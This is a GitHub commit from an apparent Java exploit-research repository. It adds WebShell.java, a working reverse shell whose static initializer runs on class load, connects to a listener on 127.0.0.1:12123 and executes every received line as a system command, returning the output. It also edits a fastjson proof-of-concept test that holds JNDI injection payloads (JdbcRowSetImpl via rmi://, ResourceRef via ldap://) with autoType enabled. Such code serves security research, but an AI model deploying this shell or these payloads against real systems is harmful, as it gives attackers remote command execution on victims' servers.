Skip to content

Commit dc8a8dc

Browse files
author
“threedr3am”
committed
feat:add WebShell
1 parent 93d57c4 commit dc8a8dc

File tree

2 files changed

+68
-4
lines changed

2 files changed

+68
-4
lines changed

common/src/main/java/WebShell.java

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
import java.io.BufferedReader;
2+
import java.io.BufferedWriter;
3+
import java.io.IOException;
4+
import java.io.InputStreamReader;
5+
import java.io.OutputStreamWriter;
6+
import java.net.Socket;
7+
8+
/**
9+
* @author threedr3am
10+
*/
11+
public class WebShell {
12+
13+
private static final String host = "127.0.0.1";
14+
private static final int port = 12123;
15+
16+
static {
17+
try {
18+
System.out.println("run shell...");
19+
new Thread(() -> {
20+
try {
21+
Socket socket = new Socket(host, port);
22+
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()));
23+
bufferedWriter.write("success!");
24+
bufferedWriter.newLine();
25+
bufferedWriter.flush();
26+
27+
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
28+
while (true) {
29+
String line;
30+
while ((line = bufferedReader.readLine()) == null);
31+
Process pro = null;
32+
try {
33+
pro = Runtime.getRuntime().exec(line);
34+
} catch (Exception e) {
35+
e.printStackTrace();
36+
bufferedWriter.write(e.getMessage());
37+
bufferedWriter.newLine();
38+
bufferedWriter.flush();
39+
}
40+
if (pro == null) {
41+
continue;
42+
}
43+
BufferedReader read = new BufferedReader(new InputStreamReader(pro.getInputStream()));
44+
String line2;
45+
while ((line2 = read.readLine()) != null) {
46+
bufferedWriter.write(line2);
47+
bufferedWriter.newLine();
48+
bufferedWriter.flush();
49+
}
50+
}
51+
52+
} catch (IOException e) {
53+
e.printStackTrace();
54+
}
55+
}).start();
56+
} catch (Throwable e) {
57+
e.printStackTrace();
58+
}
59+
}
60+
61+
public static void main(String[] args) {
62+
}
63+
}

fastjson/src/main/java/com/threedr3am/bug/fastjson/test/TestPoc.java

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -35,14 +35,15 @@ public static void main(String[] args) {
3535
// String str = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:43658\",\"autoCommit\":true}}";
3636
// String str = "{\"@type\":\"org.springframework.security.web.savedrequest.DefaultSavedRequest\",\"contextPath\": {\"@type\":\"com.caucho.config.types.ResourceRef\",\"lookupName\": \"ldap://localhost:43658/Calc\"}}";
3737
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
38-
String str = "{\"a\": {\"$ref\":\"$.class\"}}";
39-
AAA aaa = JSON.parseObject(str, AAA.class);
38+
// String str = "{\"a\": {\"$ref\":\"$.class\"}}";
39+
// AAA aaa = JSON.parseObject(str, AAA.class);
4040
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
4141
// String str = "{\"a\": {\"$ref\": \"$.a\"}, \"b\": {\"$ref\": \"$.b\"}, \"c\": {\"$ref\": \"$.c\"}, \"d\": {\"$ref\": \"$.d\"}}";
4242
// JSON.parseObject(str, AAA.class);
4343
// AAA aaa = new AAA();
44-
System.out.println(aaa.getA());
45-
44+
// System.out.println(aaa.getA());
45+
String json = "{\"\"}";
46+
JSON.parse(json);
4647
// JSON.parseObject(str);
4748
}
4849
}

0 commit comments

Comments
 (0)